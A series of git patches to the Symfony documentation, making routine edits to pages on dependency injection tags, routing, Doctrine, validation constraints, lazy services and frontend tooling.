Date: Wed, 12 Oct 2022 16:06:01 +0200
Subject: [PATCH 3396/5766] [DependencyInjection] Typo on how default
 defaultIndexMethod work

---
 service_container/tags.rst | 18 +++++++++++++++---
 1 file changed, 15 insertions(+), 3 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 94d7d2036b3..9a94006ce8d 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -804,9 +804,21 @@ array element. For example, to retrieve the ``handler_two`` handler::
 
 .. tip::
 
-    Just like the priority, you can also implement a static
-    ``getDefaultIndexName()`` method in the handlers and omit the
+    Just like the priority, if you set the attribute (``index_by``) on the :tagged_iterator, you can also implement a static
+    ``getDefault(``index_by``)Name()`` method in the handlers and omit the
     index attribute (``key``)::
+        
+
+        .. code-block:: yaml
+        
+        # config/services.yaml
+            services:
+                # ...
+
+                App\HandlerCollection:
+                    arguments: [!tagged_iterator { tag: 'app.handler', index_by: 'handler' }]
+                    
+    .. code-block:: php
 
         // src/Handler/One.php
         namespace App\Handler;
@@ -814,7 +826,7 @@ array element. For example, to retrieve the ``handler_two`` handler::
         class One
         {
             // ...
-            public static function getDefaultIndexName(): string
+            public static function getDefaultHandlerName(): string
             {
                 return 'handler_one';
             }

From f347595de3f080c657057d985c69e963ea1f99ce Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 15 Jun 2023 16:49:08 +0200
Subject: [PATCH 3397/5766] Reword

---
 service_container/tags.rst | 153 +++++++++++++++++++------------------
 1 file changed, 77 insertions(+), 76 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index c4de67b7506..1c17e4e95da 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -919,109 +919,110 @@ array element. For example, to retrieve the ``handler_two`` handler::
         }
     }
 
-.. tip::
+You can omit the index attribute (``key`` in the previous example) by setting
+the ``index_by`` attribute on the ``tagged_iterator`` tag. In this case, you
+must define a static method whose name follows the pattern:
+``getDefault<CamelCase index_by value>Name``.
 
-    Just like the priority, if you set the attribute (``index_by``) on the :tagged_iterator, you can also implement a static
-    ``getDefault(``index_by``)Name()`` method in the handlers and omit the
-    index attribute (``key``)::
-        
+For example, if ``index_by`` is ``handler``, the method name must be
+``getDefaultHandlerName()``:
 
-        .. code-block:: yaml
-        
-        # config/services.yaml
-            services:
-                # ...
+.. code-block:: yaml
 
-                App\HandlerCollection:
-                    arguments: [!tagged_iterator { tag: 'app.handler', index_by: 'handler' }]
-                    
-    .. code-block:: php
+    # config/services.yaml
+        services:
+            # ...
+
+            App\HandlerCollection:
+                arguments: [!tagged_iterator { tag: 'app.handler', index_by: 'handler' }]
 
-        // src/Handler/One.php
-        namespace App\Handler;
+.. code-block:: php
 
-        class One
+    // src/Handler/One.php
+    namespace App\Handler;
+
+    class One
+    {
+        // ...
+        public static function getDefaultHandlerName(): string
         {
-            // ...
-            public static function getDefaultHandlerName(): string
-            {
-                return 'handler_one';
-            }
+            return 'handler_one';
         }
+    }
 
-    You also can define the name of the static method to implement on each service
-    with the ``default_index_method`` attribute on the tagged argument:
+You also can define the name of the static method to implement on each service
+with the ``default_index_method`` attribute on the tagged argument:
 
-    .. configuration-block::
+.. configuration-block::
 
-        .. code-block:: php-attributes
+    .. code-block:: php-attributes
 
-            // src/HandlerCollection.php
-            namespace App;
+        // src/HandlerCollection.php
+        namespace App;
 
-            use Symfony\Component\DependencyInjection\Attribute\TaggedIterator;
+        use Symfony\Component\DependencyInjection\Attribute\TaggedIterator;
 
-            class HandlerCollection
-            {
-                public function __construct(
-                    #[TaggedIterator('app.handler', defaultIndexMethod: 'getIndex')]
-                    iterable $handlers
-                ) {
-                }
+        class HandlerCollection
+        {
+            public function __construct(
+                #[TaggedIterator('app.handler', defaultIndexMethod: 'getIndex')]
+                iterable $handlers
+            ) {
             }
+        }
 
-        .. code-block:: yaml
+    .. code-block:: yaml
 
-            # config/services.yaml
-            services:
-                # ...
+        # config/services.yaml
+        services:
+            # ...
 
-                App\HandlerCollection:
-                    # use getIndex() instead of getDefaultIndexName()
-                    arguments: [!tagged_iterator { tag: 'app.handler', default_index_method: 'getIndex' }]
+            App\HandlerCollection:
+                # use getIndex() instead of getDefaultIndexName()
+                arguments: [!tagged_iterator { tag: 'app.handler', default_index_method: 'getIndex' }]
 
-        .. code-block:: xml
+    .. code-block:: xml
 
-            <!-- config/services.xml -->
-            <?xml version="1.0" encoding="UTF-8" ?>
-            <container xmlns="http://symfony.com/schema/dic/services"
-                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-                xsi:schemaLocation="http://symfony.com/schema/dic/services
-                    https://symfony.com/schema/dic/services/services-1.0.xsd">
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
 
-                <services>
-                    <!-- ... -->
+            <services>
+                <!-- ... -->
 
-                    <service id="App\HandlerCollection">
-                        <!-- use getIndex() instead of getDefaultIndexName() -->
-                        <argument type="tagged_iterator"
-                            tag="app.handler"
-                            default-index-method="someFunctionName"
-                        />
-                    </service>
-                </services>
-            </container>
+                <service id="App\HandlerCollection">
+                    <!-- use getIndex() instead of getDefaultIndexName() -->
+                    <argument type="tagged_iterator"
+                        tag="app.handler"
+                        default-index-method="someFunctionName"
+                    />
+                </service>
+            </services>
+        </container>
 
-        .. code-block:: php
+    .. code-block:: php
 
-            // config/services.php
-            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-            use App\HandlerCollection;
-            use Symfony\Component\DependencyInjection\Argument\TaggedIteratorArgument;
+        use App\HandlerCollection;
+        use Symfony\Component\DependencyInjection\Argument\TaggedIteratorArgument;
 
-            return function (ContainerConfigurator $container) {
-                $services = $container->services();
+        return function (ContainerConfigurator $container) {
+            $services = $container->services();
 
-                // ...
+            // ...
 
-                // use getIndex() instead of getDefaultIndexName()
-                $services->set(HandlerCollection::class)
-                    ->args([
-                        tagged_iterator('app.handler', null, 'getIndex'),
-                    ])
-                ;
-            };
+            // use getIndex() instead of getDefaultIndexName()
+            $services->set(HandlerCollection::class)
+                ->args([
+                    tagged_iterator('app.handler', null, 'getIndex'),
+                ])
+            ;
+        };
 
 .. _tags_as-tagged-item:
 

From 9d999ce9b39747a319bacc55a166755d767cab05 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 15 Jun 2023 17:31:59 +0200
Subject: [PATCH 3398/5766] Tweaks

---
 controller/value_resolver.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index d46a270780e..71efd680b08 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -228,8 +228,8 @@ In that specific case, you don't need any resolver running before
 but also prevent one of them providing a value before ``SessionValueResolver``
 has a chance to.
 
-The :class:`Symfony\\Component\\HttpKernel\\Attribute\\ValueResolver` attribute lets you
-do this by "targeting" the resolver you want::
+The :class:`Symfony\\Component\\HttpKernel\\Attribute\\ValueResolver` attribute
+lets you do this by "targeting" the resolver you want::
 
     // src/Controller/SessionController.php
     namespace App\Controller;
@@ -256,11 +256,11 @@ do this by "targeting" the resolver you want::
 
     The ``ValueResolver`` attribute was introduced in Symfony 6.3.
 
-In the example above, the ``SessionValueResolver`` will be called first because it is
-targeted. The ``DefaultValueResolver`` will be called next if no value has been provided;
-that's why we can assign ``null`` as ``$session``'s default value.
+In the example above, the ``SessionValueResolver`` will be called first because
+it is targeted. The ``DefaultValueResolver`` will be called next if no value has
+been provided; that's why you can assign ``null`` as ``$session``'s default value.
 
-We target a resolver by passing its name as ``ValueResolver``'s first argument.
+You can target a resolver by passing its name as ``ValueResolver``'s first argument.
 For convenience, built-in resolvers' name are their FQCN.
 
 A targeted resolver can also be disabled by passing ``ValueResolver``'s ``$disabled``

From 57c18a898023ce3c174a428a8c7d63fe120e4ecf Mon Sep 17 00:00:00 2001
From: Alexander Schranz <alexander@sulu.io>
Date: Thu, 15 Jun 2023 18:12:21 +0200
Subject: [PATCH 3399/5766] Fix xml example for defaut-index-name for tagged
 service provider

---
 service_container/tags.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 1c17e4e95da..87f354434c2 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -997,7 +997,7 @@ with the ``default_index_method`` attribute on the tagged argument:
                     <!-- use getIndex() instead of getDefaultIndexName() -->
                     <argument type="tagged_iterator"
                         tag="app.handler"
-                        default-index-method="someFunctionName"
+                        default-index-method="getIndex"
                     />
                 </service>
             </services>

From ee02b68fed3fdbee9e998e61e4811927d40e095c Mon Sep 17 00:00:00 2001
From: DracoBlue <JanS@DracoBlue.de>
Date: Tue, 13 Sep 2022 21:22:02 +0200
Subject: [PATCH 3400/5766] Add hint about variables_order ini setting required

---
 configuration.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/configuration.rst b/configuration.rst
index ebdef340f0c..f526b3a692e 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -792,7 +792,9 @@ the right situation:
   but the overrides only apply to one environment.
 
 *Real* environment variables always win over env vars created by any of the
-``.env`` files.
+``.env`` files. This behavior depends on
+`variables_order <http://php.net/manual/en/ini.core.php#ini.variables-order>`_ to
+contain an ``E`` to expose the ``$_ENV`` superglobal.
 
 The ``.env`` and ``.env.<environment>`` files should be committed to the
 repository because they are the same for all developers and machines. However,

From d1dbc7b72742d711b2ee46c9aaaeb14eac742f44 Mon Sep 17 00:00:00 2001
From: Gustavo Henrique Mascarenhas Machado <guhemama@gmail.com>
Date: Mon, 31 Oct 2022 14:28:18 +0100
Subject: [PATCH 3401/5766] [Routing] Update ignoreAttributes description

The documentation does not mention one can ignore all attributes or specify which of them to ignore. This is pretty clear to someone calling `\Symfony\Bundle\FrameworkBundle\Controller\RedirectController::redirectAction`, but not to someone using YAML.
---
 routing.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index d06a4c3f864..835fe8a64f9 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1626,8 +1626,10 @@ Use the ``RedirectController`` to redirect to other routes and URLs:
                 # * for temporary redirects, it uses the 307 status code instead of 302
                 # * for permanent redirects, it uses the 308 status code instead of 301
                 keepRequestMethod: true
-                # add this to remove the original route attributes when redirecting
+                # add this to remove all original route attributes when redirecting
                 ignoreAttributes: true
+                # or specify which attributes to ignore
+                # ignoreAttributes: [ offset, limit ]
 
         legacy_doc:
             path: /legacy/doc

From 510662d2863461c7a81f7f8bf97a7217b49be25e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Jun 2023 10:07:10 +0200
Subject: [PATCH 3402/5766] Minor tweaks

---
 routing.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/routing.rst b/routing.rst
index 835fe8a64f9..539c2988d82 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1628,8 +1628,8 @@ Use the ``RedirectController`` to redirect to other routes and URLs:
                 keepRequestMethod: true
                 # add this to remove all original route attributes when redirecting
                 ignoreAttributes: true
-                # or specify which attributes to ignore
-                # ignoreAttributes: [ offset, limit ]
+                # or specify which attributes to ignore:
+                # ignoreAttributes: ['offset', 'limit']
 
         legacy_doc:
             path: /legacy/doc

From 5431d14d3c9198931a53c5c4bd6ce2f27d978a31 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Jun 2023 11:23:03 +0200
Subject: [PATCH 3403/5766] Tweak

---
 rate_limiter.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 226567060f0..cbf960f5f9a 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -35,7 +35,8 @@ Fixed Window Rate Limiter
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
 This is the simplest technique and it's based on setting a limit for a given
-interval of time.
+interval of time (e.g. 5,000 requests per hour or 3 login attempts every 15
+minutes).
 
 In the diagram below, the limit is set to "5 tokens per hour". Each window
 starts at the first hit (i.e. 10:15, 11:30 and 12:30). As soon as there are

From 3736d24e3a52b89faec7a2df9a6046fe2159061c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Jun 2023 11:46:04 +0200
Subject: [PATCH 3404/5766] [Validator] Give more details to the Password
 Strength

---
 reference/constraints/PasswordStrength.rst | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/reference/constraints/PasswordStrength.rst b/reference/constraints/PasswordStrength.rst
index ce18f95c4f6..20e1fceacd7 100644
--- a/reference/constraints/PasswordStrength.rst
+++ b/reference/constraints/PasswordStrength.rst
@@ -6,7 +6,10 @@ PasswordStrength
     The ``PasswordStrength`` constraint was introduced in Symfony 6.3.
 
 Validates that the given password has reached the minimum strength required by
-the constraint.
+the constraint. The strengh of the password is not evaluated with a set of
+predefined rules (include a number, use lowercase and uppercase characters,
+etc.) but by measuring the entropy of the password based on its length and the
+number of unique characters used.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`

From ee6d5953b293be1222934a019703a9a5648fd70d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Jun 2023 13:00:08 +0200
Subject: [PATCH 3405/5766] [Doctrine] Warn about DBAL 4.x changes for MariaDB
 connection

---
 reference/configuration/doctrine.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index 71f8968c35a..6c5faa6d855 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -109,7 +109,9 @@ The following block shows all possible configuration keys:
     version).
 
     If you are running a MariaDB database, you must prefix the ``server_version``
-    value with ``mariadb-`` (e.g. ``server_version: mariadb-10.4.14``).
+    value with ``mariadb-`` (e.g. ``server_version: mariadb-10.4.14``). This will
+    change in Doctrine DBAL 4.x, where you must define the version as output by
+    the server (e.g. ``10.4.14-MariaDB``).
 
     Always wrap the server version number with quotes to parse it as a string
     instead of a float number. Otherwise, the floating-point representation

From 03935072c977cb450be36f6f6e7e043effea6795 Mon Sep 17 00:00:00 2001
From: Leanna <leanna@symfonycasts.com>
Date: Fri, 16 Jun 2023 06:10:43 -0400
Subject: [PATCH 3406/5766] Updating class name of lazy ghost interface

I believe this is the actual class - https://github.com/symfony/symfony/blob/6.4/src/Symfony/Component/VarExporter/LazyObjectInterface.php
---
 service_container/lazy_services.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 663118504cc..251a7c39171 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -86,7 +86,7 @@ itself when being accessed for the first time). The same happens when calling
 To check if your lazy service works you can check the interface of the received object::
 
     dump(class_implements($service));
-    // the output should include "Symfony\Component\VarExporter\LazyGhostObjectInterface"
+    // the output should include "Symfony\Component\VarExporter\ObjectInterface"
 
 You can also configure your service's laziness thanks to the
 :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autoconfigure` attribute.

From eec7f4040b4533230a7dabb5baba9db6951bce6c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Jun 2023 13:19:33 +0200
Subject: [PATCH 3407/5766] Tweak

---
 service_container/lazy_services.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 251a7c39171..ecb8120f14f 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -86,7 +86,7 @@ itself when being accessed for the first time). The same happens when calling
 To check if your lazy service works you can check the interface of the received object::
 
     dump(class_implements($service));
-    // the output should include "Symfony\Component\VarExporter\ObjectInterface"
+    // the output should include "Symfony\Component\VarExporter\LazyObjectInterface"
 
 You can also configure your service's laziness thanks to the
 :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autoconfigure` attribute.

From b6042e366586916cbaac748b44e0faf17da675b0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Jun 2023 15:34:28 +0200
Subject: [PATCH 3408/5766] [Security] Remove the security.remember_me_aware
 tag

---
 reference/dic_tags.rst | 16 ----------------
 1 file changed, 16 deletions(-)

diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index a67bf15f141..bd963249113 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -953,22 +953,6 @@ This tag is used to automatically register :ref:`expression function providers
 component. Using these providers, you can add custom functions to the security
 expression language.
 
-security.remember_me_aware
---------------------------
-
-**Purpose**: To allow remember me authentication
-
-This tag is used internally to allow remember-me authentication to work.
-If you have a custom authentication method where a user can be remember-me
-authenticated, then you may need to use this tag.
-
-If your custom authentication factory extends
-:class:`Symfony\\Bundle\\SecurityBundle\\DependencyInjection\\Security\\Factory\\AbstractFactory`
-and your custom authentication listener extends
-:class:`Symfony\\Component\\Security\\Http\\Firewall\\AbstractAuthenticationListener`,
-then your custom authentication listener will automatically have this tag
-applied and it will function automatically.
-
 security.voter
 --------------
 

From a1675215f186ef6b8e195cb1cac8b02688f89ebe Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 18 Jun 2023 14:57:10 +0200
Subject: [PATCH 3409/5766] Remove phpunit 5.3 references

---
 create_framework/unit_testing.rst | 4 ----
 testing/database.rst              | 4 ----
 2 files changed, 8 deletions(-)

diff --git a/create_framework/unit_testing.rst b/create_framework/unit_testing.rst
index 4b189205880..55fcef88517 100644
--- a/create_framework/unit_testing.rst
+++ b/create_framework/unit_testing.rst
@@ -99,8 +99,6 @@ We are now ready to write our first test::
         private function getFrameworkForException($exception)
         {
             $matcher = $this->createMock(Routing\Matcher\UrlMatcherInterface::class);
-            // use getMock() on PHPUnit 5.3 or below
-            // $matcher = $this->getMock(Routing\Matcher\UrlMatcherInterface::class);
 
             $matcher
                 ->expects($this->once())
@@ -159,8 +157,6 @@ Response::
     public function testControllerResponse()
     {
         $matcher = $this->createMock(Routing\Matcher\UrlMatcherInterface::class);
-        // use getMock() on PHPUnit 5.3 or below
-        // $matcher = $this->getMock(Routing\Matcher\UrlMatcherInterface::class);
 
         $matcher
             ->expects($this->once())
diff --git a/testing/database.rst b/testing/database.rst
index a7b77f2dc0a..fb78d33a3a7 100644
--- a/testing/database.rst
+++ b/testing/database.rst
@@ -61,8 +61,6 @@ constructor, you can pass a mock object within a test::
 
             // Now, mock the repository so it returns the mock of the employee
             $employeeRepository = $this->createMock(ObjectRepository::class);
-            // use getMock() on PHPUnit 5.3 or below
-            // $employeeRepository = $this->getMock(ObjectRepository::class);
             $employeeRepository->expects($this->any())
                 ->method('find')
                 ->willReturn($employee);
@@ -71,8 +69,6 @@ constructor, you can pass a mock object within a test::
             // (this is not needed if the class being tested injects the
             // repository it uses instead of the entire object manager)
             $objectManager = $this->createMock(ObjectManager::class);
-            // use getMock() on PHPUnit 5.3 or below
-            // $objectManager = $this->getMock(ObjectManager::class);
             $objectManager->expects($this->any())
                 ->method('getRepository')
                 ->willReturn($employeeRepository);

From 5055fa782b0306652eba4eec1f6adfd9eb1146c3 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 18 Jun 2023 16:27:43 +0200
Subject: [PATCH 3410/5766] Remove symfony 5.x version references

---
 messenger/multiple_buses.rst          | 2 +-
 reference/configuration/framework.rst | 2 +-
 service_container/tags.rst            | 2 --
 translation.rst                       | 2 +-
 4 files changed, 3 insertions(+), 5 deletions(-)

diff --git a/messenger/multiple_buses.rst b/messenger/multiple_buses.rst
index 8cc5fa5fa22..49e4d3e568e 100644
--- a/messenger/multiple_buses.rst
+++ b/messenger/multiple_buses.rst
@@ -277,7 +277,7 @@ You can also restrict the list to a specific bus by providing its name as an arg
 
 .. tip::
 
-    Since Symfony 5.1, the command will also show the PHPDoc description of
+    The command will also show the PHPDoc description of
     the message and handler classes.
 
 .. _article about CQRS: https://martinfowler.com/bliki/CQRS.html
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 83e3c2f3cf3..ce08ef2f11a 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2332,7 +2332,7 @@ package:
 
     If you request an asset that is *not found* in the ``manifest.json`` file, the original -
     *unmodified* - asset path will be returned.
-    Since Symfony 5.4, you can set ``strict_mode`` to ``true`` to get an exception when an asset is *not found*.
+    You can set ``strict_mode`` to ``true`` to get an exception when an asset is *not found*.
 
 .. note::
 
diff --git a/service_container/tags.rst b/service_container/tags.rst
index 8dabdae494e..fd0be6977b9 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -331,7 +331,6 @@ For example, you may add the following transports as services:
             $services = $container->services();
 
             $services->set(\MailerSmtpTransport::class)
-                // the param() method was introduced in Symfony 5.2.
                 ->args([param('mailer_host')])
                 ->tag('app.mail_transport')
             ;
@@ -499,7 +498,6 @@ To answer this, change the service declaration:
             $services = $container->services();
 
             $services->set(\MailerSmtpTransport::class)
-                // the param() method was introduced in Symfony 5.2.
                 ->args([param('mailer_host')])
                 ->tag('app.mail_transport', ['alias' => 'smtp'])
             ;
diff --git a/translation.rst b/translation.rst
index 9842e561f1d..7b3305f5261 100644
--- a/translation.rst
+++ b/translation.rst
@@ -1069,7 +1069,7 @@ unused translation messages templates:
 
     The extractors can't find messages translated outside templates (like form
     labels or controllers) unless using :ref:`translatable-objects` or calling
-    the ``trans()`` method on a translator (since Symfony 5.3). Dynamic
+    the ``trans()`` method on a translator. Dynamic
     translations using variables or expressions in templates are not
     detected either:
 

From 104e56c9ec0a9b551a24b6bdc8d138f1ea54a271 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 17 Jun 2023 13:59:17 +0200
Subject: [PATCH 3411/5766] Minor improvements & bugfixes

---
 frontend.rst | 19 ++++++++++---------
 1 file changed, 10 insertions(+), 9 deletions(-)

diff --git a/frontend.rst b/frontend.rst
index 54889c0ba05..60c83a8e714 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -5,10 +5,10 @@ Symfony gives you the flexibility to choose any front-end tools you want. This c
 be dead-simple - like putting CSS & JS directly in the ``public/`` directory - or
 more advanced - like scaffolding your front-end with a tool like Next.js.
 
-However, Symfony *does* come with two powerful option to help you build a modern,
+However, Symfony *does* come with two powerful options to help you build a modern,
 fast frontend, *and* enjoy the process:
 
-* :ref:`Webpack Encore <frontend-webpack-encore>` is a powerful tool built with Node
+* :ref:`Webpack Encore <frontend-webpack-encore>` is a powerful tool built with `Node.js`_
   on top of `Webpack`_ that allows you to write modern CSS & JavaScript and handle
   things like JSX (React), Vue or TypeScript.
 
@@ -20,19 +20,19 @@ fast frontend, *and* enjoy the process:
 ================================  =================  ======================================================
 Production Ready?                 yes                yes
 Stable?                           yes                :doc:`experimental </contributing/code/experimental>`
-Requirements                      node               none: pure PHP
+Requirements                      Node.js            none: pure PHP
 Requires a build step?            yes                no
 Works in all browsers?            yes                yes
 Supports `Stimulus/UX`_           yes                yes
 Supports Sass/Tailwind            yes                :ref:`yes <asset-mapper-tailwind>`
-Supports React, Vue, Svelte?      yes                yes**
-Supports TypeScript               yes                no**
+Supports React, Vue, Svelte?      yes                yes [#1]_
+Supports TypeScript               yes                no [#1]_
 ================================  =================  ======================================================
 
-** Using JSX (React), Vue or TypeScript with AssetMapper is possible, but you'll
-   need to use their native tools for pre-compilation. Also, some features (like
-   Vue single-file components) cannot be compiled down to pure JavaScript that can
-   be executed by a browser.
+.. [#1] Using JSX (React), Vue or TypeScript with AssetMapper is possible, but you'll
+        need to use their native tools for pre-compilation. Also, some features (like
+        Vue single-file components) cannot be compiled down to pure JavaScript that can
+        be executed by a browser.
 
 .. _frontend-webpack-encore:
 
@@ -147,6 +147,7 @@ Other Front-End Articles
 
 .. _`Webpack Encore`: https://www.npmjs.com/package/@symfony/webpack-encore
 .. _`Webpack`: https://webpack.js.org/
+.. _`Node.js`: https://nodejs.org/
 .. _`Webpacker`: https://github.com/rails/webpacker
 .. _`Mix`: https://laravel.com/docs/mix
 .. _`Symfony`: https://symfony.com/

From 5c8154b510acd222226682c3a7b539b6a179d3ef Mon Sep 17 00:00:00 2001
From: Vincent Amstoutz <vincent.amstoutz@outlook.fr>
Date: Sat, 17 Jun 2023 19:10:12 +0200
Subject: [PATCH 3412/5766] Fix `doctrine/dbal` deprecation using
 `Statement::executeQuery`

---
 doctrine.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index ff8eaa2479a..74bbd073373 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -998,8 +998,8 @@ In addition, you can query directly with SQL if you need to::
                 WHERE p.price > :price
                 ORDER BY p.price ASC
                 ';
-            $stmt = $conn->prepare($sql);
-            $resultSet = $stmt->executeQuery(['price' => $price]);
+
+            $resultSet = $conn->executeQuery($sql, ['price' => $price]);
 
             // returns an array of arrays (i.e. a raw data set)
             return $resultSet->fetchAllAssociative();

From 2e11d05480caa815c17267ed8f8d52a68c947ccc Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 19 Jun 2023 17:13:14 +0200
Subject: [PATCH 3413/5766] Removed some occurrences of explicitly talking
 about "PHP 8 attributes"

---
 console.rst                 |  3 +--
 service_container.rst       |  4 ++--
 service_container/calls.rst | 14 +++++---------
 service_container/tags.rst  |  2 +-
 4 files changed, 9 insertions(+), 14 deletions(-)

diff --git a/console.rst b/console.rst
index c12ebe8901f..4038c16f83e 100644
--- a/console.rst
+++ b/console.rst
@@ -208,8 +208,7 @@ available in the ``configure()`` method::
 Registering the Command
 ~~~~~~~~~~~~~~~~~~~~~~~
 
-In PHP 8 and newer versions, you can register the command by adding the
-``AsCommand`` attribute to it::
+You can register the command by adding the ``AsCommand`` attribute to it::
 
     // src/Command/CreateUserCommand.php
     namespace App\Command;
diff --git a/service_container.rst b/service_container.rst
index 4e05b92da2e..2c0057a6c60 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -238,8 +238,8 @@ each time you ask for it.
 Limiting Services to a specific Symfony Environment
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-If you are using PHP 8.0 or later, you can use the ``#[When]`` PHP
-attribute to only register the class as a service in some environments::
+You can use the ``#[When]`` attribute to only register the class
+as a service in some environments::
 
     use Symfony\Component\DependencyInjection\Attribute\When;
 
diff --git a/service_container/calls.rst b/service_container/calls.rst
index 98f9dc2bc86..9f4e3699b18 100644
--- a/service_container/calls.rst
+++ b/service_container/calls.rst
@@ -145,11 +145,8 @@ The configuration to tell the container it should do so would be like:
     If autowire is enabled, you can also use attributes; with the previous
     example it would be::
 
-        /**
-         * @return static
-         */
         #[Required]
-        public function withLogger(LoggerInterface $logger)
+        public function withLogger(LoggerInterface $logger): static
         {
             $new = clone $this;
             $new->logger = $logger;
@@ -157,8 +154,7 @@ The configuration to tell the container it should do so would be like:
             return $new;
         }
 
-    You can also leverage the PHP 8 ``static`` return type instead of the
-    ``@return static`` annotation. If you don't want a method with a
-    PHP 8 ``static`` return type and a ``#[Required]`` attribute to behave as
-    a wither, you can add a ``@return $this`` annotation to disable the
-    *returns clone* feature.
+    If you don't want a method with a ``static`` return type and
+    a ``#[Required]`` attribute to behave as a wither, you can
+    add a ``@return $this`` annotation to disable the *returns clone*
+    feature.
diff --git a/service_container/tags.rst b/service_container/tags.rst
index 8dabdae494e..07fd994c7b0 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -168,7 +168,7 @@ In a Symfony bundle, call this method in the ``load()`` method of the
     }
 
 Autoconfiguration registering is not limited to interfaces. It is possible
-to use PHP 8 attributes to autoconfigure services by using the
+to use PHP attributes to autoconfigure services by using the
 :method:`Symfony\\Component\\DependencyInjection\\ContainerBuilder::registerAttributeForAutoconfiguration`
 method::
 

From 811e52e8e33428039a6f1d2c3d1fbb47e65209ba Mon Sep 17 00:00:00 2001
From: Franck Ranaivo-Harisoa <franckranaivo@users.noreply.github.com>
Date: Tue, 20 Jun 2023 09:31:28 +0200
Subject: [PATCH 3414/5766] Typo in yaml component

"supports" instead of "sports"
---
 components/yaml.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/yaml.rst b/components/yaml.rst
index f179d306ca1..0f4f76ef05f 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -41,7 +41,7 @@ compact block collections and multi-document files.
 Real Parser
 ~~~~~~~~~~~
 
-It sports a real parser and is able to parse a large subset of the YAML
+It supports a real parser and is able to parse a large subset of the YAML
 specification, for all your configuration needs. It also means that the parser
 is pretty robust, easy to understand, and simple enough to extend.
 

From 1179b159139c354cb27da92201d18c09b95386cd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 20 Jun 2023 11:14:13 +0200
